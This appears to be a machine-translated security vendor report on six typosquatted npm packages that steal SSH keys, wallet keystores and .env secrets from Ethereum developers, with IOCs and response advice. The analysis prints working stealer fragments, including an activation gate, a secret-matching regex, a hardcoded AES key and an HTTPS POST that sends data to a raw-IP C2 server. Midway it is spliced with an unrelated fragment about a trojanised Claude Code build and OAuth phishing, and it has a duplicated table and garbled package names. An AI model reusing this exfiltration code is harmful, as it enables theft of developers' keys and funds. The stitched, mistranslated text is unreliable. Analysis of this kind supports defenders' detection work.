EVMDeFi npm Typosquatting чабуулу иштеп чыгуучунун ачкычтарын уурдайт

EVM/DeFi npm Typosquatting чабуулу иштеп чыгуучунун ачкычтарын уурдайт

TL; DR

2026-жылдын 6-майында, бир npm басмаканасы, namikazesarada010206, Ethereum, Solidity жана DeFi иштеп чыгуучу экосистемасын бутага алган алты зыяндуу пакетти жайылтты.

Пакеттер, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, жана web3-utils-core, популярдуу Web3 куралдары үчүн жардамчы китепканаларга окшоштурулуп жасалган ишенимдүү аталыштарды колдонгон.

Алты таңгактын баарында бирдей идиш бар болчу telemetry.js файл. Файл кластер боюнча байттар боюнча бирдей болгон, SHA-256 менен:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Зыяндуу программа орнотуу учурунда иштебейт. preinstall or postinstall илмек. Анын ордуна, ал пакет импорттолгондо иштетилет require().

Бул детал маанилүү.

Имплант иштеп чыгуучу пакетти чындап колдонгонго чейин күтөт. Андан кийин ал жумуш станциясы чыныгы Ethereum / Solidity иштеп чыгуу чөйрөсүнө окшошпой тургандыгын текшерет. Ал Alchemy же Infura ачкычтарын, жеке ачкычтарды, мнемоникаларды, жайылтуучу ачкычтарды же жергиликтүү Foundry каталогун издейт.

Эгер хост дал келсе, ууру SSH жеке ачкычтарын, Foundry / Geth / Brownie капчык ачкыч дүкөндөрүн чогултат, .env* файлдар жана сезгич чөйрө өзгөрмөлөрү. Ал пакетти катуу коддолгон сырсөздү колдонуп AES-256-GCM менен шифрлейт жана аны TLS текшерүүсү өчүрүлгөн чийки IPv4 C2 акыркы чекитине эксфильтрлейт.

Xygeni компаниясынын зыяндуу программаларды алдын ала эскертүү (MEW) системасы алты пакеттин баарын зыяндуу деп ырастады. npm реестрин алып салуу отчетунун топтому күтүлүүдө.

Кластер: Алты пакет, бир басмакана

Басмакананын аккаунту namikazesarada010206 текшерилбеген Gmail дарегине шилтемеленген namikazesarada010206@gmail.com.

Өнөктүк 2026-жылдын 6-майында бир күндүк басылма катары пайда болду. Алты пакеттин баары төмөнкүдөй версияланган 1.0.0, иштөө убактысына көз карандылыгы жок болчу жана үч гана файл жөнөтүлдү:

package.json index.js telemetry.js

Алар ошондой эле бир эле булак репозиторийин жарыялашты:

https://github.com/harunosakura030303-maker/evmchain-config

Алгачкы үч пакет биринчи басылышта MEW сканерлери тарабынан кармалган. Калган үчөө басмакананын npm профилин аналитиктер карап чыккандан кийин күч менен белгиленди. Бир эле байттар бирдей болгон telemetry.js кластер боюнча тастыкталган, бирок алар ырааттуулук боюнча зыяндуу деп жабылган.

таңгак версия npm жарыяланды MEW билети өкүм
вием-өзөгү 1.0.0 2026-05-06 01:38:44Z #51049 зыяндуу
viem-utils-core 1.0.0 2026-05-06 #51050 зыяндуу
hardhat-core-utils 1.0.0 2026-05-06 #51051 зыяндуу
evm-utils 1.0.0 2026-05-06 #51069 Зыяндуу, ырааттуулук менен
куюучу жайлар 1.0.0 2026-05-06 #51071 Зыяндуу, ырааттуулук менен
web3-utils-core 1.0.0 2026-05-06 #51070 Зыяндуу, ырааттуулук менен

Аталыш стратегиясы жөнөкөй, бирок натыйжалуу.

Бул пакеттер так жогорку агымдагы аталыштарды туурабайт. Анын ордуна, алар сыяктуу ишенимдүү "пайдалуу" суффикстерин колдонушат. -core, -utils, жана -utils-coreБул аларды иштеп чыгуучу Web3 куралдарынын жанында көрүшү мүмкүн болгон коштоочу китепканаларга окшоштурат.

Зыяндуу пакет Мыйзамдуу максат
вием-өзөгү viem, популярдуу Ethereum TypeScript кардары
viem-utils-core вьем
hardhat-core-utils hardhat, негизги Solidity өнүктүрүү чөйрөсү
evm-utils Жалпы EVM куралдарынын аталыш мейкиндиги
куюучу жайлар куюу цехи, Solidity куралдар чынжыры
web3-utils-core web3-утилиталар, Web3.js жардамчылары

Бул "кошумча пакет" үлгүсү: "Мен чыныгы пакетмин" эмес, "Мен чыныгы пакеттин айланасында акылга сыярлык жардамчыдай көрүнөм".

Тез кыймылдап жаткан DeFi иштеп чыгуучулары үчүн бул тобокелчилик жаратууга жетиштүү.

Пакет импорттолгондо эмне болот

Чабуул чынжыры кичинекей, атайылап жасалган жана крипто-иштеп чыгуу чөйрөлөрүнө багытталган.

Орнотуу илгичи жок. Анын ордуна, ар бир топтомдо төмөнкүлөр бар index.js ал stub функциясын экспорттойт жана андан кийин зыяндуу телеметрия модулун жүктөйт.

require('./telemetry').init();

Бул зыяндуу программа биринчи импорттоодо ишке кирет дегенди билдирет.

Бул чабуулчу үчүн операциялык жактан пайдалуу. Көптөгөн сканерлер жана кумкоргондор орнотуу убактысынын жүрүм-турумуна көңүл бурушат. Бул пакет аны иштеп чыгуучу, куруу скрипти, тест топтому же аткаруу убактысынын жолу чындыгында колдонгонго чейин күтөт.

Активдештирүү дарбазасы: Чыныгы Web3 иштеп чыгуучунун жумушчу станцияларында гана иштетүү

Импланттын эң маанилүү бөлүгү - активдештирүү дарбазасы.

Зыяндуу программа Ethereum / Solidity иштеп чыгуучу машиналарында көп кездешүүчү чөйрө өзгөрмөлөрүн текшерет:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Ошондой эле, ал Foundry орнотулган окшойт же жокпу, текшерет:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Эгерде эки шарт тең туура болбосо, функция кайтып келет жана эч нерсе кылбайт.

Бул жалпы анализ чөйрөлөрүндө пакетти тынчыраак кылат. Foundry, Alchemy ачкычтары, Infura ачкычтары, жеке ачкычтары же мнемоникалары жок кумкоргон зыянсыз көрүнгөн импортту көрүшү мүмкүн.

Дал келген хостта зыяндуу программа чогултуудан мурун 60тан 90 секундга чейин күтөт:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Кечигүү импорт менен эксфильтрациянын ортосундагы айкын корреляцияны азайтат. .unref() чакыруу ошондой эле, эгерде пакет кыска мөөнөттүү скриптте импорттолгон болсо, хост процессинин кадимкидей чыгуусуна мүмкүндүк берет.

Бул ызы-чуу менен талкалап, басып алуу эмес. Бул иштеп чыгуучу чөйрөсү уурдоого татыктуу болбосо, ишке кирбөө үчүн иштелип чыккан максаттуу уурдоо.

Ууру эмне чогултат

Активдештирүү дарбазасы өткөндөн кийин, зыяндуу программа Web3 иштеп чыгууда эң маанилүү булактардан чогултулат: жеке ачкычтар, капчык ачкыч сактагычтары, жайылтуу грамоталары, булут сырлары, npm токендери жана жергиликтүү долбоордун конфигурациясы.

булак Эмне чогултулат
process.env /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i менен дал келген каалаган өзгөрмө
~/.ssh/* PRIVATE KEY же BEGIN OPENSSH камтыган файлдар, анын ичинде файлдын толук мазмуну
~/.куюу цехи/ачкыч дүкөндөрү/* Foundry капчыгынын ачкыч сактагыч файлдары
~/.ethereum/ачкыч дүкөнү/* Geth капчыгынын ачкыч дүкөнүнүн файлдары
~/.braunie/аккаунттар/* Brownie капчыгынын ачкыч дүкөнүнүн файлдары
${cwd}/.env Файлдын толук мазмуну
${cwd}/.env.local Файлдын толук мазмуну
${cwd}/.env.production Файлдын толук мазмуну
${cwd}/.env.development Файлдын толук мазмуну
os.hostname() Хосттун метадайындары
crypto.randomUUID() Жабырлануучунун/сеанстын идентификатору
Date.now() Жыйноо убакыт белгиси
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA токендери төмөнкүлөр:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Телеметрия оператордун өзүнүн аналитикасыбы же өзүнчө акчага айландырылган каналбы, биз тастыктай алган жокпуз. ATTA токендери биз изилдеген эки үлгүдө тең бирдей.

В кластери: хейбай

claude.hk OAuth фишинги + ANTHROPIC_BASE_URL уурдоо

1-апрелдеги үлгү - бул өнөктүктүн эң чийки, алгачкы бөлүгү.

heibai:2.1.88-claude.hk-4 тарабынан басылып чыккан wuguoqiangvip28, аккаунт 2025-жылдын 7-июнунда түзүлгөн. Пакет өзүн мыйзамдуу версияга каршы ачыктан-ачык версиялаган 2.1.88 Антропиялык чыгаруу.

Ал CA-certificat MITM менен убара болбойт. Анын ордуна, ал колдонуучуга OAuth акыркы чекити жөнүндө калп айтат.

Агып чыккан Клод Код булагынын үстүндөгү зыяндуу кошумчаларга төмөнкүлөр кирет:

булак Эмне чогултулат
process.env /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i менен дал келген каалаган өзгөрмө
~/.ssh/* PRIVATE KEY же BEGIN OPENSSH камтыган файлдар, анын ичинде файлдын толук мазмуну
~/.куюу цехи/ачкыч дүкөндөрү/* Foundry капчыгынын ачкыч сактагыч файлдары
~/.ethereum/ачкыч дүкөнү/* Geth капчыгынын ачкыч дүкөнүнүн файлдары
~/.braunie/аккаунттар/* Brownie капчыгынын ачкыч дүкөнүнүн файлдары
${cwd}/.env Файлдын толук мазмуну
${cwd}/.env.local Файлдын толук мазмуну
${cwd}/.env.production Файлдын толук мазмуну
${cwd}/.env.development Файлдын толук мазмуну
os.hostname() Хосттун метадайындары
crypto.randomUUID() Жабырлануучунун/сеанстын идентификатору
Date.now() Жыйноо убакыт белгиси

Максаттуу тизме абдан так. Бул жалпы браузер уурдоосу же кеңири эсептик маалыматтарды алуу эмес. Ал Ethereum тиркемелерин түзгөн, сынаган, жайгаштырган же иштеткен иштеп чыгуучуларга багытталган.

Foundry, Geth жана Brownie ачкыч сактоочу жайларын кошуу өзгөчө маанилүү. Бул файлдар капчыктарга же жайгаштыруу идентификацияларына түз кирүүнү билдириши мүмкүн. Эгерде чабуулчу аларды сырсөздөр, мнемоника же айлана-чөйрөнүн сырлары менен жупташтыра алса, алар каражаттарды жылдырышы, жайгаштыруучулардын атын жамынышы же акылдуу келишим операцияларын бузушу мүмкүн.

Чыгаруудан мурун шифрлөө

Зыяндуу программа чогултулган маалыматтарды жөнөтүүдөн мурун шифрлейт.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Катуу коддолгон сырсөз төмөнкүдөй:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Акыркы пайдалуу жүктөм JSON катары оролгон:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Шифрлөө зыяндуу программаны өзүнөн өзү өркүндөтпөйт. Бирок, ал тармакты текшерүүнү кыйындатат. Чыгууну карап турган коргоочу JSON пайдалуу жүктөмүн көрөт, бирок уурдалган ачкычтарды, капчык файлдарын же .env катуу коддолгон сырсөз жана чечмелөө логикасы жок мазмун.

Чийки IPv4 C2ге эксфильтрациялоо

Эксфильтрация жолу катуу коддолгон:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Зыяндуу программа маалыматтарды төмөнкүгө жөнөтөт:

https://76.13.37.80:8443/api/v1/telemetry

Эки детал өзгөчөлөнүп турат.

Биринчиден, C2 домен эмес, чийки IPv4 дареги. Бул доменди каттоо зарылдыгын жокко чыгарат жана доменге негизделген айрым аныктоолордун алдын алат.

Экинчиден, TLS текшерүүсү төмөнкү учурларда өчүрүлөт:

rejectUnauthorized: false

Бул зыяндуу программалык камсыздоого каалаган сертификатты, анын ичинде өзүнө кол коюлган сертификаттарды кабыл алууга мүмкүндүк берет. Башкача айтканда, чабуулчу жарактуу коомдук сертификаттын кереги жок эле шифрленген транспортту алат.

Кайра аракет кылуу логикасы жана резервдик хост жок. Каталарды үнсүз жутуп алышат. Бул C2 оффлайн режиминде болсо же ага жетүү мүмкүн болбосо, пакетти үнсүз кармайт.

Бул өнөктүк эмне үчүн маанилүү?

Иштеп чыгуучуларга багытталган зыяндуу npm пакеттеринин көпчүлүгү кеңири грамоталарды куугунтуктайт: npm токендери, AWS ачкычтары, GitHub токендери же .npmrc темаларын карап чыгышты.

Бул өнөктүк максатты тарытат.

Ал машинанын Ethereum же Solidity иштеп чыгуучусуна таандык экендигинин белгилерин издейт. Андан кийин ал ошол чөйрөдө маанилүү болгон активдерди дал өзү тартып алат: капчык ачкыч сактагычтары, жеке ачкычтар, мнемоника, жайылтуучу ачкычтар, .env файлдар жана SSH ачкычтары.

Бул кампанияны Web3 командалары үчүн жалпы npm уурдоочуга караганда кооптуураак кылат.

Ийгиликтүү инфекция төмөнкүлөрдү камтышы мүмкүн:

  • Жайгаштыруу капчыктары
  • Акылдуу келишим администраторунун ачкычтары
  • RPC провайдеринин ачкычтары
  • Булут жайгаштыруу сертификаттары
  • npm жарыялоо токендери
  • Иштеп чыгуучуга же курулуш инфраструктурасына SSH мүмкүнчүлүгү
  • Долбоордун сырлары сакталган .env дептер
  • Foundry, Geth же Brownie үчүн капчык ачкыч дүкөндөрү

Пакеттердин аталыштары ошондой эле социалдык инженерияны так көрсөтөт. Алар тааныш куралдардын аталыштары аркылуу Web3 иштеп чыгуучу экосистемасын бутага алышат: viem, hardhat, foundry, evm, жана web3.

Актер чыныгы долбоорлордон баш тартуунун кажети жок. Аларга жөн гана акылга сыярлык коштоочу пакетке окшош нерсени орнотуу үчүн иштеп чыгуучу керек.

Компромисс жана аныктоо көрсөткүчтөрү

Пакеттер жана басмакана
талаа маани
npm басмаканасы namikazesarada010206
Басмакананын электрондук почтасы namikazesarada010206@gmail.com
Электрондук почта ырасталды Жок
SCM текшерилди Жок
Репутациялык упай 1.0
пакеттер viem-core, viem-utils-core, hardhat-core-utils, evm-utils, döküm-utils, web3-utils-core
туру Бардык 1.0.0
Булак репозиторийи https://github.com/harunosakura030303-maker/evmchain-config
Зыяндуу экени тастыкталды Бардык алты пакет
тармак
түрү маани
C2 акыркы чекити https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 порту 8443/tcp
TLS жүрүм-туруму баш тартууУруксатсыз: жалган
Пайдалуу жүк схемасы {"v":2,"iv": "d": "т": }
Файлдар жана хэштер
түрү маани
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Пакеттин жайгашуусу package.json, index.js, telemetry.js
Файлдын саны 3
Болжолдуу жалпы өлчөмү 3.4 KB

Активдештирүү сигналдары

Зыяндуу программа төмөнкү чөйрө өзгөрмөлөрүн текшерет:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Ошондой эле төмөнкүлөрдү текшерет:

~/.foundry/

Максаттуу хост жолдору

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Коллекциянын регекси

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Аныктоо боюнча эскертүүлөр

Бул өнөктүктү толук жүрүм-турумдук анализдин кажети жок бир нече эрежелер кармайт.

Алгач, алты зыяндуу пакеттин аттары үчүн кулпу файлдарын сканерлеңиз:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Кайсы болбосун дал келүү package-lock.json, yarn.lock, pnpm-lock.yamlже node_modules тарыхый окуя олуттуу окуя катары каралышы керек.

Экинчиден, капчыктын ачкыч сактоочу жолдорун окуган Node.js процесстерин көзөмөлдөңүз:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Бул жардамчы көз карандылык катары импорттолгон пакет үчүн сейрек кездешүүчү мыйзамдуу жүрүм-турум. Айрыкча, тармактын тышкы активдүүлүгү ээрчигенде шектүү болот.

Үчүнчүдөн, HTTPS туташууларын бөгөттөө же эскертүү:

76.13.37.80:8443

Айрыкча, суроо-талаптын жолу төмөнкүдөй болгондо:

/api/v1/telemetry

Төртүнчүдөн, ушул өзгөчөлүктөрдү айкалыштырган npm пакеттерин издеңиз:

  • Жаңы же начар кадыр-барктуу басмакана
  • Текшерилбеген Gmail аккаунту
  • Web3 жанаша жайгашкан пакеттин аталышы
  • Маанилүү репозиторий тарыхы жок
  • Кичинекей пакеттин жайгашуусу
  • index.js телеметрия же жардамчы файлды жүктөйт
  • Иштөө убактысына көз карандылык жок
  • Сезимтал чөйрө өзгөрмөлөрүнүн жыйнагы
  • Капчыктын ачкыч дүкөнүнө кирүү мүмкүнчүлүгү

Бул үлгү бир IOCко караганда пайдалуураак, анткени кийинки пакет IP дарегин өзгөртүшү мүмкүн, бирок ошол эле максаттуу логиканы сактайт.

Компромисске жооп кайтаруу тизмеси

Эгерде иштеп чыгуучу алты пакеттин бирин колдонсо жана алардын чөйрөсү активдештирүү дарбазасына дал келсе, жумуш станциясын бузулган деп эсептеңиз.

Буга Foundry орнотулган машиналар, чөйрөдөгү Alchemy же Infura ачкычтары, жеке ачкычтар, мнемоника же жайылтуучу ачкычтар кирет.

Сунушталган жооп:

  • Хостту тармактан ажыратыңыз.
  • сактоо node_modules, кулпу файлдары, кабык тарыхы жана криминалистика үчүн тиешелүү журналдар.
  • Ар бир SSH баскыч жубун төмөнкү жерге айландырыңыз ~/.ssh/.
  • Ар бир ачкыч дүкөнү үчүн капчык ачкычтарын айландырыңыз ~/.foundry, ~/.ethereum, жана ~/.brownie.
  • Каражаттарды жаңы капчыктарга жылдырыңыз.
  • Сакталган ар бир сырды айландырыңыз .env* иштеп чыгуучу иштеген репозиторийлердеги файлдар.
  • AWS ачкычтарын, npm токендерин, жайылтуу токендерин, API ачкычтарын, жеке ачкычтарды, үрөндөрдү жана мнемоникаларды камтыган коллекциянын регексине дал келген чөйрөнүн сырларын айландырыңыз.
  • Пакет алгач орнотулгандан бери булутту, npmди, GitHubду, RPC провайдерин жана блокчейндин активдүүлүгүн аудиттен өткөрдү.
  • Кайра колдонуудан мурун жумуш станциясынын сүрөтүн кайра тартыңыз.

Коргоочулар эмнени алып кетиши керек

Бул өнөктүк npm typoskvotting жогорку баалуу иштеп чыгуучу экосистемалардын айланасында кандайча өнүгүп жатканын көрсөтөт.

Актерго туруктуулуктун кереги жок болчу. Аларга чаташтыруунун да, ал тургай орнотуу учурунда аткаруунун да кереги жок болчу.

Анын ордуна, алар үч нерсеге таянышкан:

  • Ишенимдүү Web3 пакеттеринин аттары
  • Чыныгы крипто-иштеп чыгуу машиналарында гана активдештирүү
  • Ethereum иштеп чыгуучулары үчүн эң маанилүү болгон файлдарды жана сырларды түз уурдоо

Бул өнөктүктү кеңири сканерлөөдө өткөрүп жиберүүнү оңой жана туура чөйрөгө түшкөндө кооптуу кылат.

Web3 командалары үчүн сабак айкын: көз карандылык аталыштарын коркунуч моделиңиздин бир бөлүгү катары караңыз. Зыянсыз жардамчыга окшогон пакет дагы эле капчыктын бузулушуна алып баруучу эң кыска жол болуп калышы мүмкүн.

npm реестрине кабарланды. Жарыялоочунун аккаунту жана пакеттери алынып салынганда, биз бул билдирүүнү жаңыртабыз.

sca-tools-программалык-композициялык-талдоо-куралдары
Программалык камсыздооңуздун тобокелдиктерин артыкчылыктуу деп эсептеңиз, оңдоңуз жана коопсуздугун камсыз кылыңыз
Акысыз аккаунтуңузду алыңыз.
Насыя картасы талап кылынбайт.

Программалык камсыздоону иштеп чыгууну жана жеткирүүнү камсыз кылыңыз

Xygeni Product Suite менен